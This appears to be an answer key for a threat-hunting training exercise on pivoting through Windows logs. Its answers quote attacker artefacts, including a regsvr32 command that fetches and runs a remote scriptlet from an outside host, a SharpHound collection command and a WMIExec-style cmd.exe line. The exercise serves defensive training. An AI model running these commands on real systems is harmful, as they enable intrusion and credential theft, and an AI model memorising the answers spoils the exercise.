Threat Hunting: Pivoting

Prompts and answers

• What is the name of the account seen to be executing host enumeration commands on DC01?
  backupadm
• Following the port scanning activity investigation, what is the parent process of n.exe?
  powershell.exe
• What is the full command-line value of the SharpHound.exe process?
  "C:\Users\bill.hawkins\Documents\sharp\SharpHound.exe" -c all
• What is the full command-line value of the process spawned by spoofer.exe?
  regsvr32 /s /n /u /i:http://www.oneedirve.xyz/321c3cf/teams.sct scrobj.dll
• What is the name of the other service that was abused besides SNMPTRAP?
  Spooler
• What is the MD5 hash of the update.exe binary?
  0be0cd5d0f361be812e4eec615b9b5c4
• What is the name of the process that created the lsass.DMP file?
  Taskmgr.exe
• Out of the four GUIDs used to hunt DCSync, what is the value of the GUID seen in the existing logs?
  1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
• What is the name of the first process spawned by jade.burke on WKSTN-1?
  wsmprovhost.exe
• What is the name of the account that also used WMIExec on WKSTN-1 aside from clifford.miller?
  jade.burke
• Excluding the false positive account, how many events were generated by potential Pass-the-Hash authentications?
  10
• Excluding the executions of the cd command, what is the full command-line value of the subsequent process spawned after the first successful PtH authentication of clifford.miller?
  cmd.exe /Q /c whoami 1> \\127.0.0.1\ADMIN$\__1688924047.711874 2>&1